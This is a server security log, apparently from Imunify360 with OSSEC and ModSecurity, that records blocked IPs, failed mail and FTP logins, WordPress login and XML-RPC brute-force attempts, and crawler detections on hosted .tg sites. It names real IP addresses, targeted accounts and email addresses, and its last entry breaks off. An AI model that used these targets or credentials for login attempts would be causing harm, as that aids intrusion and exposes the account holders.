Jun 12 03:53:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.55
country_id: 1512440
description:
2026-06-12 03:53:24 H=([213.230.87.55]) [213.230.87.55]:33806 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:56:55 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:01:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [12/Jun/2026:04:01:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079449&pdata=http%253A%252F%252Fgfcusr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781236901 HTTP/1.1" 302 0 gfcusr.mediatopnews.tg "http://gfcusr.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:03:15 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:02:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.7.187.182
country_id: 3469034
description:
Jun 12 04:03:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.7.187.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 12 04:03:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.93.142
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:142.111.93.142||TA:142.111.93.142||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 102.129.234.217
country_id: 6252001
domain: www.tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.185
country_id: 6252001
domain: 34.217.47.154
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.47.154/azenv3.php HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 04:12:06 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 04:12:05 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 04:12:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 173.239.216.77
country_id: 2658434
description:
Jun 12 04:12:13 ns5 pure-ftpd[1224127]: (?@173.239.216.77) [INFO] New connection from 173.239.216.77


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 04:12:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:12:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 04:12:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 12 04:12:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.193.42
country_id: 1835841
description:
Jun 12 04:12:38 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.141.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 04:13:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 04:12:56 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 04:12:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 04:12:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 12 04:12:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun 12 04:13:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 173.239.216.77
country_id: 2658434
description:
Jun 12 04:12:18 ns5 pure-ftpd[1224127]: (?@173.239.216.77) [WARNING] Authentication failed for user [yvwaocrr]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.229.160.103
country_id: 6252001
description:
2026-06-12 04:14:06 dovecot_plain authenticator failed for H=(za0xrblledjdicikm3z2nrdx) [156.229.160.103]:34020: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.126
country_id: 3865483
description:
Jun 12 04:14:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 12 04:13:38 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 04:13:44 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.126
country_id: 3865483
description:
Jun 12 04:14:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:16:15 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 12 04:15:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 12 04:15:49 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:19:12 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:19:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:04:20:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066840&pdata=http%253A%252F%252Fqx0gfv.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781238012 HTTP/1.1" 302 0 qx0gfv.mediatopnews.tg "http://qx0gfv.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:20:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.84.222.25
country_id: 2750405
description:
Jun 12 04:20:57 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.84.222.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.222.25
country_id: 2750405
description:
2026-06-12 04:20:59 dovecot_plain authenticator failed for H=(l0sjb5us4eax2jgyg6zkji0r3kmk) [45.84.222.25]:60884: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [12/Jun/2026:04:20:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919831&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuella%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781238057 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuella/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.50
country_id: 6252001
description:
205.169.39.50 - - [12/Jun/2026:04:24:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328681&pdata=http%253A%252F%252Fqx0gfv.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781238262 HTTP/1.1" 302 0 qx0gfv.mediatopnews.tg "http://qx0gfv.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.50


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.87.128
country_id: 3469034
description:
Jun 12 04:27:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.87.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:29:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 8.228.248.223
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 04:31:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 04:31:34 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:50892: 535 Incorrect authentication data (set_id=git)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:33:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:33:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.39
country_id: 2750405
description:
Jun 12 04:37:03 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.39
country_id: 2750405
description:
2026-06-12 04:37:05 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.39]:56313: 535 Incorrect authentication data (set_id=seee)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.245.202
country_id: 2921044
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-login.php HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:42:50 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.192
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.205
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.20
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 04:43:09 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64801: 535 Incorrect authentication data (set_id=git)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 04:43:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.19
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.172
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.195
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.200
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.198
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.201
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.203
country_id: 6252001
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.conseilnsaftogo.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.167
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.191
country_id: 6252001
domain: conseilnsaftogo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/conseilnsaftogo.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:44:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.110
country_id: 3469034
description:
Jun 12 04:50:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.110
country_id: 3469034
description:
Jun 12 04:50:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:52:02 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ed98d29a390e1d44a48afb98f85ffe24472074b||Title:cta54zzhl8s7y7d05||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:54:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ea8f9f4d9e8801718ae8b32d36e5018557bbc775||Title:l7prxjg5i76v6zi||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0187bc4ff2045e388e2f2a0d3909274eed881b5e||Title:hgawkegwr385mne8i||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:421b93020c0f2e5a8f0504962fb55a8a7ba8b7c0||Title:vd77azl86ldvere496||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a53b2ab6ad55ed5aeb0edab24b23051eaf9ed4c9||Title:5av0hay6ne7xy9||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2278d50013c6059c2275f51788d1057fc8092c0d||Title:58irl294rcalc4b||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:59:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:957f4771a49b96ad25b26225a8dc80d6bbf58113||Title:j5bqicxieam11bkix8||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.36
country_id: 2750405
description:
2026-06-12 05:01:06 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.36]:50241: 535 Incorrect authentication data (set_id=seee)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:346f74d953effe1ee2a4e4a47d4230b651bfc1c8||Title:bxn5azkdekbeqhb7g||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e828b3f67dc947db0f88f89ac593a73ba6b7315b||Title:gt7nhwaiarr7y1190q||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6646020d4fa1233fa64b59cb5d0fb1ac9776764a||Title:abkbvp4o7abhb0fxul||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9598f6e246393aa6ed266f6fd21f91a99d061114||Title:irl0fp41pb74jhu||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ecd98a1792a105009ce8ccd66a9142b117295d1a||Title:l9dxxqquyrzvx2u||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.52.23
country_id: 1269750
domain: ekeasarl.com
description:
